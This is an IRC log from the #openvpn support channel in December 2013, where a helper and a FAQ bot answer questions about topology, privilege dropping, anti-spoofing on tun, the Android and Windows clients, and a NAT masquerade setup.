14:33 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
14:43 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
14:45 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
14:45 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
14:45 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
15:11 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
15:12 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
15:12 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 246 seconds]
15:12 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 246 seconds]
15:12 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
15:12 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 246 seconds]
15:13 -!- Serano [~serano@rooty.be] has joined #openvpn
15:13 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
15:14 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
15:15 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
16:08 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Quit: ZNC - http://znc.sourceforge.net]
16:12 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 246 seconds]
16:15 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has joined #openvpn
16:15 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
16:16 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
16:21 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Quit: Don't flap your BGP at me sonny]
16:43 -!- marlinc_ is now known as marlinc
16:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
16:45 -!- intricate [~intricate@unaffiliated/intricate] has joined #openvpn
16:46 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has joined #openvpn
16:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:08 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
17:12 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has joined #openvpn
17:13 < roothorick> Something that doesn't appear to be documented anywhere, and really, really needs to be
17:13 < roothorick> if topology == subnet and dev == tun, the second argument to ifconfig is, in fact, a netmask.
17:17 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
17:17 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:19 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
17:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Client Quit]
17:27 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:29 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 246 seconds]
17:42 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Read error: Connection reset by peer]
17:42 -!- Cultist_ [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
17:44 <+pekster> roothorick: Read:
17:44 <+pekster> !topology
17:44 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
17:44 <+pekster> wiki link is most helpful if you're confused. The manpage explains the --ifconfig arguments pretty clearly too in the amnpage
17:58 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
18:00 -!- Cultist_ is now known as Cultist
18:04 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 260 seconds]
18:13 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 246 seconds]
18:28 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
18:30 < james41382_> If I set the options in the client config to downgrade permissions to nobody/nogroup and the connection times out will openvpn not be able to reconnect because of the downgrade?
18:31 -!- james41382_ is now known as james41382
18:31 <+pekster> Quite possibly, yes. You generally need --persist-ip and --persist-tun and --persist-key to do that, and this is incompatible with a client getting a dynamic IP as reconnects can be fed different addresing unless you staticly define them (see: !static .) For these reasons, it's usually unwise to use --chroot and/or --user/--group with client setups
18:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
18:33 <+pekster> Possible work-arounds include using --route-up, --up, --up-restart, and --route-noexec commands with suid scripts, but that's a lot of hassle
18:34 -!- Olipro_ [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
18:35 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
18:36 -!- Olipro_ is now known as Olipro
18:39 < james41382> Okay. I am using ifconfig-pool-persist persist-key and persist-tun.
18:39 <+pekster> ipp isn't static
18:40 < james41382> My connection gets dropped pretty frequently when I'm at school at it has trouble reconnecting.
18:40 < james41382> ipp is static. got it.
18:40 < james41382> isn't*
18:40 <+pekster> It's a "recommendation" only. If you're using --persist-ip as a client (note that --persist-tun isn't necessarily enough) then you really need to use _proper_ static assignment. using ipp _might_ work, but it's not gaurenteed
18:41 < james41382> Okay cool. It's not a big deal I'm not really concerned about the permissions of openvpn running on either the server or this client... just playing it safe. =]
18:42 <+pekster> OpenVPN has a pretty good track record on security, so it's not usually necessary to worry too much about that except for highly-hardened setups where that's a defined requirement
18:45 -!- gardar [~gardar@gardar.net] has joined #openvpn
18:49 -!- babilen [~babilen@unaffiliated/babilen] has left #openvpn []
18:51 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 264 seconds]
18:51 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
18:51 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
18:52 -!- Olipro_ [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
18:54 -!- Olipro_ is now known as Olipro
19:02 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 265 seconds]
19:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Quit: Byebye]
19:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:22 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
19:23 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
19:30 -!- Bebbzor [~Bebbzor@90-227-6-26-no197.tbcn.telia.com] has joined #openvpn
19:42 -!- maskedlua is now known as maskedidiot
19:42 -!- maskedidiot is now known as maskedlua
19:47 -!- Bebbzor [~Bebbzor@90-227-6-26-no197.tbcn.telia.com] has quit [Ping timeout: 260 seconds]
19:57 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
19:59 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has quit [Ping timeout: 260 seconds]
20:11 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
20:11 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
20:14 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Excess Flood]
20:16 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
20:25 -!- Devastator_ [~devas@177.18.196.221] has joined #openvpn
20:25 -!- Devastator_ [~devas@177.18.196.221] has quit [Changing host]
20:25 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
20:27 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 250 seconds]
20:46 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
20:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
20:58 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
21:12 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has quit [Quit: obesd]
21:32 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
22:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
22:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 250 seconds]
23:10 -!- Saul775 [~Saul@67.138.231.194] has joined #openvpn
23:18 -!- ska [~ska@unaffiliated/ska] has left #openvpn ["Leaving"]
23:24 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has quit [Quit: luc|dz]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
--- Day changed Sun Dec 08 2013
00:24 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
00:34 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
00:40 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has joined #openvpn
00:41 < obesd> so with openvpn i can securely force a particular user who is connecting to have a specific source ip ?
00:42 < obesd> i.e. can openvpn securely enforce and guarantee that if a specific user authorised by certificates vpn's in, his traffic is guarantted and forced to come from a specific source ip out of the tun0 interface?
00:43 < obesd> ie if i have an asterisk + openbsd + openvpn server, and a user VPNs into openvpn so his sip client can talk to the asterisk server on the same box
00:44 < obesd> as i want to use PF to enforce that each client connecting in can *only* send packets to whatever port asterisk uses for sip clients to connect to it
00:45 < obesd> which i guess could be a rule for the entire tun0 interface, even if they can use a different ip
00:45 < obesd> however, still wondering what openvpn does to stop spoofed IPs or IPs that are not set by my server-side policy ?
01:21 <+pekster> obesd: Using tun, a client is strictly disallowed from IP spoofing (not true for tap becuase OpenVPN is delivering Ethernet frames then, not IP packets)
01:22 <+pekster> So yea, if you can do what you want with an IP firewall (PF in *BSD) then go for it. You can optionally also have the server give a specific client a dedicated IP: read !static for details. Also note you have script hooks during connect too if you want dynamic firewall actions based on connect-events; see !scripts
01:26 < obesd> pekster: giving a specific client (secured by client and server certificates) a specific ip prob sounds about what i need
01:26 < obesd> its great openvpn specifically disallows ip spoofing for tun :)
01:27 <+pekster> Yup. If you actually want to allow it, you need --iroute, which is also part of how you set up routing for a client-side LAN (otherwise OpenVPN refuses to accept the packet with an obviously bogus IP)
01:28 < obesd> good to know, will prob have to do that for a site-to-site vpn
01:28 <+pekster> The local bot has info/flowcharts for that at !serverlan and !clientlan
01:30 < obesd> !serverlan
01:30 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
01:30 < obesd> !clientlan
01:30 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
01:30 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
01:30 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
01:30 < obesd> at least for a voip server, i prob want to strictly enforce less functionality anyway hehe :)
01:31 < obesd> but i might have to setup a site to site vpn sometime
01:46 < pppingme> is the openvpn android client compiled with comp-lzo ?  or do I need to avoid that if I have android clients?
02:04 <+pekster> I believe so, yes. Note that the GPL app (the one referenced at: !android) is different than the non-Free !connect corporate product
02:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
02:29 < pppingme> !android
02:29 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market or (#3) Direct Play link:
02:29 <@vpnHelper> https://play.google.com/store/apps/details?id=de.blinkt.openvpn
02:31 < pppingme> !connect
02:31 <@vpnHelper> "connect" is (#1) OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide or (#2) https://forums.openvpn.net/post34969.html#p34969
03:19 < obesd> openvpn is on f-droid too ?
03:19 < obesd> !fdroid
03:20 < obesd> swweet it is https://f-droid.org/repository/browse/?fdfilter=openvpn&page_id=0
03:20 <@vpnHelper> Title: F-Droid · (at f-droid.org)
03:21 -!- xrosnight [~quassel@113.83.18.133] has quit [Read error: Connection reset by peer]
03:22 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:23 -!- xrosnight [~quassel@113.83.18.96] has joined #openvpn
03:38 -!- lilibox [~franta_bi@93.99.40.10] has quit [Ping timeout: 246 seconds]
03:38 -!- lilibox [~franta_bi@93.99.40.10] has joined #openvpn
03:45 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
03:47 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
04:06 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:10 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:11 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
04:32 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 250 seconds]
04:41 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
04:48 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:48 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
06:16 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:17 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
06:23 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
06:36 -!- hadifarn_ [~hadifarno@192.237.185.77] has joined #openvpn
06:37 < hadifarn_> why my openvpn is so slow? it's 1/3 of my internet speed. my server is in US and I live in IRAN. it couldn't be distance, right?
06:58 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:11 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Remote host closed the connection]
07:14 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
07:21 -!- hadifarn_ [~hadifarno@192.237.185.77] has quit [Remote host closed the connection]
07:26 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
07:28 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
07:29 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has joined #openvpn
07:37 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
07:40 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
07:40 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
07:40 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
07:55 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:09 -!- xrosnight [~quassel@113.83.18.96] has quit [Changing host]
08:09 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
08:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:03 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
09:33 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 240 seconds]
09:41 -!- master_o1_master [~master_of@p4FD7BADD.dip0.t-ipconnect.de] has joined #openvpn
09:42 -!- xrosnight [~quassel@113.83.18.96] has joined #openvpn
09:44 -!- master_of_master [~master_of@p4FF2437C.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
09:56 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 246 seconds]
09:59 -!- takamichi [~takamichi@92.251.13.65] has joined #openvpn
09:59 -!- xrosnight [~quassel@113.83.18.96] has quit [Ping timeout: 246 seconds]
10:13 -!- xrosnight [~quassel@113.83.18.96] has joined #openvpn
10:14 -!- xrosnight [~quassel@113.83.18.96] has quit [Changing host]
10:14 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
10:31 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
10:32 < Nikon_m> So uhm
10:32 < Nikon_m> Question
10:33 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
10:55 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Write error: Broken pipe]
10:57 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
11:05 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
11:08 -!- takamichi [~takamichi@92.251.13.65] has quit [Ping timeout: 240 seconds]
11:10 -!- takamichi [~takamichi@85.12.8.15] has joined #openvpn
11:12 < Nikon_m> There's a ten user limit right?
11:13 <+pekster> Not for OpenVPN. Maybe you're referring to the "Access Server" product which is non-Free, non-GPL, and has an EULA and licensing fees
11:13 <+pekster> OpenVPN has no limit at all
11:13 <+pekster> If you want commercial products, go ask the vendor that's selling them
11:13 <+pekster> See the /TOPIC if you're an AS user. AS != OpenVPN
11:13 < Nikon_m> Oh
11:14 < Nikon_m> So if I install open vpn on a Debian distro it won't have a user limit?
11:15 <+pekster> If it's actually OpenVPN and not the badly named "OpenVPN Access Server" (which isn't OpenVPN at all, but a prior version of it wrapped in non-free packaging and _not_ legally free to use outside of the EULA you must accept)
11:15 < Nikon_m> Also, how easy is it to distribute and configure the client to others
11:15 <+pekster> If it _is_ the GPL version, then yes, you can connect an unlimited number of users
11:15 < Nikon_m> Ahh
11:16 < Nikon_m> Is it possible to have the binary to be distributed to my users and then run some sort of auto configuration for my network config
11:17 <+pekster> It's open-source, so sure, just bundle your own pre-packcaged config if you want. Or just ship that separately
11:17 <+pekster> Or come up with your own guided installer that handles keypair & CSR generation if you're using client-certs
11:17 <+pekster> This mostly depends on how you want to configure your setup
11:18 < Nikon_m> Well all of the users would be on windows
11:18 <+pekster> And?
11:18 <+pekster> !download
11:18 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
11:18 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
11:19 < Nikon_m> Okie dokie, and iirc the server only works on Linux right? The client only is windows/Mac?
11:20 <+pekster> OpenVPN works on all major (and many minor) platforms
11:20 <+pekster> This includes Linux, Unixes (BSD, Solaris, etc), Windows, MacOS, and Android
11:20 <+pekster> iOS isn't directly supported, but the non-FOSS (but "free as in beer but not speech") 'Connect' product works for iPhone
11:21 < Nikon_m> Ah
11:21 < Nikon_m> So the server does work on windows??
11:21 <+pekster> Yes, though depending on what you're doing you might want a non-Windows server anyway; Windows makees a crappy router, but use the OS you want
11:21 <+pekster> !bestos
11:21 <@vpnHelper> "bestos" is the best os for openvpn is the one you are most comfortable with
11:22 <+pekster> There's a reason no one uses Windows to do any real routing, but don't let that stop you if you want an overpriced, inefficient router ;)
11:22 < Nikon_m> Well, at the moment I really use windows as my main os because I need to have my applications running on it
11:23 < Nikon_m> And I don't have another pc ATM to use
11:23 <+pekster> Then run it natively or use a VM
11:23 <+pekster> Doesn't matter so long as you know how to use your OS to set up routing as you need
11:23 < Nikon_m> Okie dokie
11:24 < Nikon_m> So I have to have people install a client and server or is there a client only application?
11:24 <+pekster> You didn't read this very carefully:
11:24 <+pekster> !download
11:24 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
11:24 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
11:24 <+pekster> There's lots more info for you at these resources too:
11:24 <+pekster> !new
11:24 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info
11:25 < Nikon_m> Ahhh
11:26 < Nikon_m> So there's no way for my users to have a lighter weight program?
11:26 <+pekster> Under 2MB installer is "not leight weight enough" ?!!
11:26 < Nikon_m> Well, it's not that I'm worried about
11:27 < Nikon_m> The problem is that my users aren't really tech savy
11:27 < Nikon_m> Savvy
11:27 <+pekster> So then it's your job to either bundle everything in 1 installer, or have them install openvpn and then download the config
11:28 <+pekster> You could even ship a "config installer/updater" to put it in based on the registry location where openvpn was installed
11:28 < Nikon_m> Will the client work on its own?
11:28 <+pekster> That's for you to do if you're shipping things to "your users"
11:28 < Nikon_m> Without the server with it?
11:28 < Nikon_m> If I'm compiling it
11:28 <+pekster> There _is_ no separate server. For the 3rd time
11:28 < Nikon_m> OHHHH 0.0
11:28 <+pekster> It's a _signel_ download
11:28 <+pekster> Go read the howto
11:28 < Nikon_m> Hahaha
11:28 <+pekster> !new
11:28 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info
11:28 <+pekster> _READ_ that
11:29 < Nikon_m> Okay, sorry I thought it was a single download with two different executables XD
11:29 < Nikon_m> one for the server and another for the client
11:29 < Nikon_m> Heheh XD
11:30 < luc|dz> openvpn :3
11:30 <+pekster> The !download (#4) refrence I gave you (twice) explained otherwise
11:30 <+pekster> !read
11:30 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
11:30 < luc|dz> my favorite application :3
11:30 <+pekster> Please read the info I had the bot reference for you; I gave it to you for a reason
11:31 < Nikon_m> Sorry for flustering you
11:36 <+pekster> Just use the resources you have. If you follow the !howto you'll be guided through the entire process and have a feel for what you need to do (which is helpful referenced in the !new and !welcome and /TOPIC info)
11:36 -!- takamichi [~takamichi@85.12.8.15] has quit [Ping timeout: 240 seconds]
11:36 <+pekster> If you get stuck there's here, the mailing-list, and forums to provide clarification
11:38 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:41 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Quit: Nikon_m]
11:46 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
11:55 < Nikon_m> Awesome!
12:14 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has quit [Ping timeout: 246 seconds]
12:15 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:15 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
12:25 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
12:43 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
12:43 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Quit: Nikon_m]
12:44 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
12:46 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
12:47 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
12:47 -!- ade_b [~Ade@dslb-178-012-132-035.pools.arcor-ip.net] has joined #openvpn
12:47 -!- ade_b [~Ade@dslb-178-012-132-035.pools.arcor-ip.net] has quit [Changing host]
12:47 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:49 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
12:49 -!- stephanj [stephan@nemesis.stejau.de] has joined #openvpn
12:49 -!- stephanj [stephan@nemesis.stejau.de] has quit [Changing host]
12:49 -!- stephanj [stephan@opennic/stephan] has joined #openvpn
12:49 -!- gffa_ [~unknown@unaffiliated/gffa] has joined #openvpn
12:50 -!- elfixit1 [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:50 -!- js__ [~js@js.madepeople.se] has joined #openvpn
12:51 -!- lamba [~lamba@unaffiliated/lamba] has left #openvpn []
12:53 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:53 -!- WinstonSmith_ [~WinstonSm@bl7-42-182.dsl.telepac.pt] has joined #openvpn
12:54 -!- Netsplit *.net <-> *.split quits: elfixit, gardar, marlinc, matsh, kevinsky, cian1500ww, NP-Hardass, obesd, gffa, js_,  (+2 more, use /NETSPLIT to show all of them)
12:54 -!- js__ is now known as js_
12:55 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
12:56 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Max SendQ exceeded]
12:58 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
12:58 -!- cian1500ww [~cian@109.200.20.155] has joined #openvpn
12:58 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
12:59 -!- matsh [divine@nanogene.org] has joined #openvpn
12:59 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
12:59 -!- cian1500ww [~cian@109.200.20.155] has quit [Max SendQ exceeded]
13:00 -!- cian1500ww [~cian@unaffiliated/cian1500ww] has joined #openvpn
13:01 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has joined #openvpn
13:05 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
13:16 -!- Netsplit *.net <-> *.split quits: kevinsky, matsh, cian1500ww
13:21 -!- Netsplit over, joins: matsh
13:22 -!- Netsplit over, joins: cian1500ww
13:23 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
13:25 -!- gamer789 [~gamer@host-063-131-216-254.dhcp.fewpb.net] has joined #openvpn
13:25 < gamer789> !hours
13:27 < gamer789> hello i know no 1 is probably here so i shall stay on whenever u can help msg/poke me
13:33 < james41382> gamer789: If you have a question you should just ask it in the channel and if someone can help they'll respond when they get the chance. Also the bot has useful information.
13:33 < james41382> !ask
13:33 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
13:35 < gamer789> well i got everything setup but one thing..
13:35 < gamer789> im usinng debian 6 newest opevpn newest everything
13:35 < gamer789> i have updated upgraded
13:36 < gamer789> everything works from
13:36 < gamer789> client connects to server
13:36 < gamer789> but client cant connect to internet
13:36 < gamer789> and i believe its bc
13:36 < gamer789> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
13:36 < gamer789> my module MASQUERADE isnt there on my system anywhere
13:36 < gamer789> im using frantech for my VPS
13:37 < james41382> I'm not experienced enough to tell you how to configure your firewall. Someone here can help I'm sure though. I would get your config file for the server, client and the output from iptables-save on a pastebin and post that. That's is how you'll find help here. Also there's a lot of information online about setting up your firewall I'm sure.
13:38 < james41382> I can look at mine and we could compare because mine works. You have a router connected to the wan and a lan you want to connect to?
14:01 < gamer789> my server.conf
14:01 < gamer789> http://pastebin.com/raw.php?i=n4thapBX
14:01 < gamer789> iptables i set/tried to set
14:01 < gamer789> http://pastebin.com/raw.php?i=9QsezZCs
14:02 < gamer789> client.conf
14:02 < gamer789> http://pastebin.com/raw.php?i=ETASnzfF
14:03 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
14:15 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
